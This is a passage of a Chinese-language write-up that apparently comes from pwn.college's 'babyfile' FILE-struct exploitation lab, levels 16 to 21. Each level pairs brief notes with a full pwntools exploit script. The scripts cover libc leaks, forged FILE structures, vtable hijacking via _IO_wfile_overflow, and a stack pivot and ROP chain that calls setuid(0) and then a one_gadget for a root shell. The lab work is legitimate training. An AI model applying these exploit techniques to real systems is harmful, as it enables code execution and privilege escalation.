    read_file(0)
102

103
    payload = flat(
104
        elf.sym["win"],
105
    )
106
    target.send(payload)
107
    quit()
108

109
    target.interactive()
110

111

112
if __name__ == "__main__":
113
    main()

Level 16#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to overwrite a built-in FILE struct and print the flag.

Write-up#

泄漏了 libc，可以算出 stdout，所以使 fread 从 stdin 向 stdout 读，然后修改 stdout 输出缓冲区。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level16"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
22

23

24
def mangle(pos, ptr, shifted=1):
25
    if shifted:
26
        return pos ^ ptr
27
    return (pos >> 12) ^ ptr
28

29

30
def demangle(pos, ptr, shifted=1):
31
    if shifted:
32
        return mangle(pos, ptr)
33
    return mangle(pos, ptr, 0)
34

35

36
def new_note(idx, size):
37
    target.sendlineafter(b"> ", b"new_note")
38
    target.sendlineafter(b"> ", str(idx).encode())
39
    target.sendlineafter(b"> ", str(size).encode())
40

41

42
def del_note(idx):
43
    target.sendlineafter(b"> ", b"del_note")
44
    target.sendlineafter(b"> ", str(idx).encode())
45

46

47
def write_note(idx, content):
48
    target.sendlineafter(b"> ", b"write_note")
49
    target.sendlineafter(b"> ", str(idx).encode())
50
    target.send(content)
51

52

53
def read_note(idx, content):
54
    target.sendlineafter(b"> ", b"read_note")
55
    target.sendlineafter(b"> ", str(idx).encode())
56
    target.send(content)
57

58

59
def open_file():
60
    target.sendlineafter(b"> ", b"open_file")
61

62

63
def close_file():
64
    target.sendlineafter(b"> ", b"close_file")
65

66

67
def read_file(idx):
68
    target.sendlineafter(b"> ", b"read_file")
69
    target.sendlineafter(b"> ", str(idx).encode())
70

71

72
def write_fp(payload):
73
    target.sendlineafter(b"> ", b"write_fp")
74
    target.send(payload)
75

76

77
def quit():
78
    target.sendlineafter(b"> ", b"quit")
79

80

81
def launch():
82
    global target
83
    if args.L:
84
        target = process(FILE)
85
    else:
86
        target = remote(HOST, PORT, ssl=True)
87

88

89
def main():
90
    launch()
91

92
    secret = 0x405100
93

94
    target.recvuntil(b"is: ")
95
    libc.address = int(target.recvline().strip(), 16) - 0x84420
96
    stdout = libc.sym["_IO_2_1_stdout_"]
97

98
    target.success(f"libc: {hex(libc.address)}")
99
    target.success(f"stdout: {hex(stdout)}")
100

101
    open_file()
102

103
    fp = FileStructure()
104
    fp.read(stdout, 0x78)
105

106
    payload = flat(fp.struntil("_flags2"))
107

108
    write_fp(payload)
109

110
    stdout = FileStructure()
111
    stdout.write(secret, 0x100)
112

113
    payload = flat(stdout.struntil("_flags2"))
114

115
    new_note(0, 0x70)
116
    raw_input("DEBUG")
117
    read_file(0)
118

119
    raw_input("DEBUG")
120
    target.send(payload)
121
    quit()
122

123
    target.interactive()
124

125

126
if __name__ == "__main__":
127
    main()

Level 17#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to read/write data and capture the flag.

Write-up#

没办法泄漏任何地址，咋办嘞？又回到了 glibc 堆分配机制问题上来…… fopen 会 malloc 一块 File Structure buffer，而 fclose 会 free 掉 fopen 分配的 buffer，那么，我们只要先调用 open_file fopen 一个文件，它会设置 fp，然后调用 close_file 释放，再打开包含 flag 的文件，此时这个 fopen 会复用之前的地址，由于 close 的时候没有清空 fp 指针，所以此时 fp 指向我们的 flag 结构体，之后我们就可以把 flag 内容搞到用户分配的 buffer 中了，最后篡改 fp 的 fileno 为 stdout，调用 write_file 会将 buffer 内容写到这个 fp 的 fileno 中，成功泄漏 flag。

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level17"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def write_note(idx, content):
47
    target.sendlineafter(b"> ", b"write_note")
48
    target.sendlineafter(b"> ", str(idx).encode())
49
    target.send(content)
50

51

52
def read_note(idx, content):
53
    target.sendlineafter(b"> ", b"read_note")
54
    target.sendlineafter(b"> ", str(idx).encode())
55
    target.send(content)
56

57

58
def open_file():
59
    target.sendlineafter(b"> ", b"open_file")
60

61

62
def close_file():
63
    target.sendlineafter(b"> ", b"close_file")
64

65

66
def read_file(idx):
67
    target.sendlineafter(b"> ", b"read_file")
68
    target.sendlineafter(b"> ", str(idx).encode())
69

70

71
def write_file(idx):
72
    target.sendlineafter(b"> ", b"write_file")
73
    target.sendlineafter(b"> ", str(idx).encode())
74

75

76
def write_fp(payload):
77
    target.sendlineafter(b"> ", b"write_fp")
78
    target.send(payload)
79

80

81
def open_flag():
82
    target.sendlineafter(b"> ", b"open_flag")
83

84

85
def quit():
86
    target.sendlineafter(b"> ", b"quit")
87

88

89
def launch():
90
    global target
91
    if args.L:
92
        target = process(FILE)
93
    else:
94
        target = remote(HOST, PORT, ssl=True)
95

96

97
def main():
98
    launch()
99

100
    open_file()
101
    close_file()
102
    open_flag()
103
    new_note(0, 0x100)
104
    read_file(0)
105

106
    fp = FileStructure()
107
    fp.write(0, 0x100)
108
    payload = flat(fp.struntil("_flags2"))
109

110
    # raw_input("DEBUG")
111
    write_fp(payload)
112
    write_file(0)
113
    quit()
114

115
    target.interactive()
116

117

118
if __name__ == "__main__":
119
    main()

Level 18#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to arbitrarily read/write data or hijack control flow.

Write-up#

没开 PIE 有 fwrite 且可篡改 fp 那还不是轻轻松松？

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level18"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def write_note(idx, content):
47
    target.sendlineafter(b"> ", b"write_note")
48
    target.sendlineafter(b"> ", str(idx).encode())
49
    target.send(content)
50

51

52
def read_note(idx, content):
53
    target.sendlineafter(b"> ", b"read_note")
54
    target.sendlineafter(b"> ", str(idx).encode())
55
    target.send(content)
56

57

58
def open_file():
59
    target.sendlineafter(b"> ", b"open_file")
60

61

62
def close_file():
63
    target.sendlineafter(b"> ", b"close_file")
64

65

66
def write_file(idx):
67
    target.sendlineafter(b"> ", b"write_file")
68
    target.sendlineafter(b"> ", str(idx).encode())
69

70

71
def write_fp(payload):
72
    target.sendlineafter(b"> ", b"write_fp")
73
    target.send(payload)
74

75

76
def open_flag():
77
    target.sendlineafter(b"> ", b"open_flag")
78

79

80
def quit():
81
    target.sendlineafter(b"> ", b"quit")
82

83

84
def launch():
85
    global target
86
    if args.L:
87
        target = process(FILE)
88
    else:
89
        target = remote(HOST, PORT, ssl=True)
90

91

92
def main():
93
    launch()
94

95
    open_file()
96

97
    fp = FileStructure()
98
    fp.write(elf.bss(), 0x150)
99
    payload = flat(fp.struntil("_flags2"))
100

101
    write_fp(payload)
102

103
    new_note(0, 0x10)
104
    write_file(0)
105

106
    target.recvlines(4)
107
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
108
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
109

110
    target.recv(0x140)
111
    fp_ptr = int.from_bytes(target.recv(0x8), "little")
112

113
    target.success(f"libc: {hex(libc)}")
114
    target.success(f"fp: {hex(fp_ptr)}")
115

116
    fp = FileStructure()
117
    fp._lock = fp_ptr
118
    fp._wide_data = fp_ptr
119
    fp.vtable = __GI__IO_wfile_overflow
120
    fp.chain = elf.sym["win"]
121
    payload = flat(
122
        bytes(fp),
123
        fp_ptr,
124
    )
125

126
    write_fp(payload)
127

128
    new_note(0, 0x100)
129
    raw_input("DEBUG")
130
    write_file(0)
131
    quit()
132

133
    target.interactive()
134

135

136
if __name__ == "__main__":
137
    main()

Level 19#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to arbitrarily read/write data or hijack control flow.

Write-up#

笑死了，说明我上一题是非预期解，咋一看和上题没啥区别啊，删了点功能而已，但是被删的功能我一个也没用上，测试直接用上题一样的 exp，通了……

所以这题的耗时大概是 30s，~~这 30s 是我和 IDA 姐姐谈心的时间（bushi~~

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level19"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def open_file():
47
    target.sendlineafter(b"> ", b"open_file")
48

49

50
def close_file():
51
    target.sendlineafter(b"> ", b"close_file")
52

53

54
def write_file(idx):
55
    target.sendlineafter(b"> ", b"write_file")
56
    target.sendlineafter(b"> ", str(idx).encode())
57

58

59
def write_fp(payload):
60
    target.sendlineafter(b"> ", b"write_fp")
61
    target.send(payload)
62

63

64
def open_flag():
65
    target.sendlineafter(b"> ", b"open_flag")
66

67

68
def quit():
69
    target.sendlineafter(b"> ", b"quit")
70

71

72
def launch():
73
    global target
74
    if args.L:
75
        target = process(FILE)
76
    else:
77
        target = remote(HOST, PORT, ssl=True)
78

79

80
def main():
81
    launch()
82

83
    open_file()
84

85
    fp = FileStructure()
86
    fp.write(elf.bss(), 0x150)
87
    payload = flat(fp.struntil("_flags2"))
88

89
    write_fp(payload)
90

91
    new_note(0, 0x10)
92
    write_file(0)
93

94
    target.recvlines(4)
95
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
96
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
97

98
    target.recv(0x140)
99
    fp_ptr = int.from_bytes(target.recv(0x8), "little")
100

101
    target.success(f"libc: {hex(libc)}")
102
    target.success(f"fp: {hex(fp_ptr)}")
103

104
    fp = FileStructure()
105
    fp._lock = fp_ptr
106
    fp._wide_data = fp_ptr
107
    fp.vtable = __GI__IO_wfile_overflow
108
    fp.chain = elf.sym["win"]
109
    payload = flat(
110
        bytes(fp),
111
        fp_ptr,
112
    )
113

114
    write_fp(payload)
115

116
    new_note(0, 0x100)
117
    raw_input("DEBUG")
118
    write_file(0)
119
    quit()
120

121
    target.interactive()
122

123

124
if __name__ == "__main__":
125
    main()

Level 20#

Information#

Category: Pwn

Description#

Apply various FILE struct exploits to obtain a leak, then hijack hijack control flow.

Write-up#

别告诉我我打了两道非预期 o_O

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level20"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21

22

23
def mangle(pos, ptr, shifted=1):
24
    if shifted:
25
        return pos ^ ptr
26
    return (pos >> 12) ^ ptr
27

28

29
def demangle(pos, ptr, shifted=1):
30
    if shifted:
31
        return mangle(pos, ptr)
32
    return mangle(pos, ptr, 0)
33

34

35
def new_note(idx, size):
36
    target.sendlineafter(b"> ", b"new_note")
37
    target.sendlineafter(b"> ", str(idx).encode())
38
    target.sendlineafter(b"> ", str(size).encode())
39

40

41
def del_note(idx):
42
    target.sendlineafter(b"> ", b"del_note")
43
    target.sendlineafter(b"> ", str(idx).encode())
44

45

46
def open_file():
47
    target.sendlineafter(b"> ", b"open_file")
48

49

50
def close_file():
51
    target.sendlineafter(b"> ", b"close_file")
52

53

54
def write_file(idx):
55
    target.sendlineafter(b"> ", b"write_file")
56
    target.sendlineafter(b"> ", str(idx).encode())
57

58

59
def write_fp(payload):
60
    target.sendlineafter(b"> ", b"write_fp")
61
    target.send(payload)
62

63

64
def open_flag():
65
    target.sendlineafter(b"> ", b"open_flag")
66

67

68
def quit():
69
    target.sendlineafter(b"> ", b"quit")
70

71

72
def launch():
73
    global target
74
    if args.L:
75
        target = process(FILE)
76
    else:
77
        target = remote(HOST, PORT, ssl=True)
78

79

80
def main():
81
    launch()
82

83
    open_file()
84

85
    fp = FileStructure()
86
    fp.write(elf.bss(), 0x270)
87
    payload = flat(fp.struntil("_flags2"))
88

89
    write_fp(payload)
90

91
    new_note(0, 0x10)
92
    raw_input("DEBUG")
93
    write_file(0)
94

95
    target.recvlines(4)
96
    libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
97
    __GI__IO_wfile_overflow = libc + 0x1E8DC0
98

99
    target.recv(0x260)
100
    fp_ptr = int.from_bytes(target.recv(0x8), "little")
101

102
    target.success(f"libc: {hex(libc)}")
103
    target.success(f"fp: {hex(fp_ptr)}")
104

105
    fp = FileStructure()
106
    fp._lock = fp_ptr
107
    fp._wide_data = fp_ptr
108
    fp.vtable = __GI__IO_wfile_overflow
109
    fp.chain = elf.sym["win"]
110
    payload = flat(
111
        bytes(fp),
112
        fp_ptr,
113
    )
114

115
    write_fp(payload)
116

117
    new_note(0, 0x100)
118
    raw_input("DEBUG")
119
    write_file(0)
120
    quit()
121

122
    target.interactive()
123

124

125
if __name__ == "__main__":
126
    main()

Level 21#

Information#

Category: Pwn

Description#

Apply FILE struct exploits to obtain the flag.

Write-up#

这才是真正的 FSOP。程序正常返回，或 abort 或 exit 后都会调用 _IO_flush_all_lockp，它会刷新 _IO_list_all 中的每一个结构体，调用其 vatble 指向的函数。这道题只会刷新 stderr（因为程序关闭了 stdout 和 stdin），然后调用 stderr 的 vtable 指向的函数，老样子，让 vtable 去执行 __GI__IO_wfile_overflow，然后它调用 _IO_wdoallocbuf，之后这个东西又去调用 stderr 的 _wide_data 加上某个偏移处的内容。所以我们可以直接让其调用 one_gadget，可是真的那么简单吗？

注意这题是有 SUID 的，直接调用 one_gadget 可以拿到 shell 但是不能 cat /flag，所以我们需要一个 ROP Chain 先执行 setuid(0) 然后再去执行 one_gadget。这是这题的另一处难点，因为正常只能返回到某条指令，我们控制不了后续执行的内容以及栈内容。我的解决方案是 stack pivot 到 stderr，充分利用这个结构体构造 ROP Chain，之后就能发现这题设计的真的非常巧妙，不管是多一个还是少一个字节都不行 orz

Exploit#

1
#!/usr/bin/env python3
2

3
from pwn import (
4
    ELF,
5
    FileStructure,
6
    args,
7
    context,
8
    flat,
9
    process,
10
    raw_input,
11
    remote,
12
)
13

14

15
FILE = "/challenge/babyfile_level21"
16
HOST, PORT = "localhost", 1337
17

18
context(log_level="debug", binary=FILE, terminal="kitty")
19

20
elf = context.binary
21
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
22

23

24
def mangle(pos, ptr, shifted=1):
25
    if shifted:
26
        return pos ^ ptr
27
    return (pos >> 12) ^ ptr
28

29

30
def demangle(pos, ptr, shifted=1):
31
    if shifted:
32
        return mangle(pos, ptr)
33
    return mangle(pos, ptr, 0)
34

35

36
def launch():
37
    global target
38
    if args.L:
39
        target = process(FILE)
40
    else:
41
        target = remote(HOST, PORT, ssl=True)
42

43

44
def main():
45
    launch()
46

47
    target.recvuntil(b" is: ")
48
    libc.address = int(target.recvline().strip(), 16) - 0x84420
49
    __GI__IO_wfile_overflow = libc.address + 0x1E8DE0
50
    stderr = libc.sym["_IO_2_1_stderr_"]
51

52
    target.success(f"libc: {hex(libc.address)}")
53
    target.success(f"stderr: {hex(stderr)}")
54

55
    one_gadget = libc.address + 0xE3B01
56
    pop_rdi_ret = libc.address + 0x128B8D
57
    leave_ret = libc.address + 0x578C8
58

59
    fp = FileStructure()
60
    fp._IO_read_ptr = pop_rdi_ret
61
    fp._IO_read_end = 0
62
    fp._IO_read_base = libc.sym["setuid"]
63
    fp._IO_write_ptr = one_gadget + 1
64
    fp._IO_write_base = one_gadget
65
    fp._lock = stderr + 0x10
66
    fp._wide_data = stderr - 0x48
67
    fp._codecvt = stderr
68
    fp.vtable = __GI__IO_wfile_overflow
69
    fp.chain = leave_ret
70

71
    raw_input("DEBUG")
72
    target.send(bytes(fp))
73

74
    target.interactive()
75

76

77
if __name__ == "__main__":
78
    main()

后记#

紧赶慢赶从月垫底杀到第三，完结撒花。一共耗时……15 天 xD

其实可以控制在七天以内解决，只是因为最近实在太懒了，基本上前期都是一天只做一道题，不管是难题还是简单题……

接下来应该还有最后一个比较综合的 FSOP 利用章节，打算一周解决，然后去稍稍学点 kernel，专攻 IoT，打比赛，准备面试。呀，2 AM 了。就酱，晚安世界～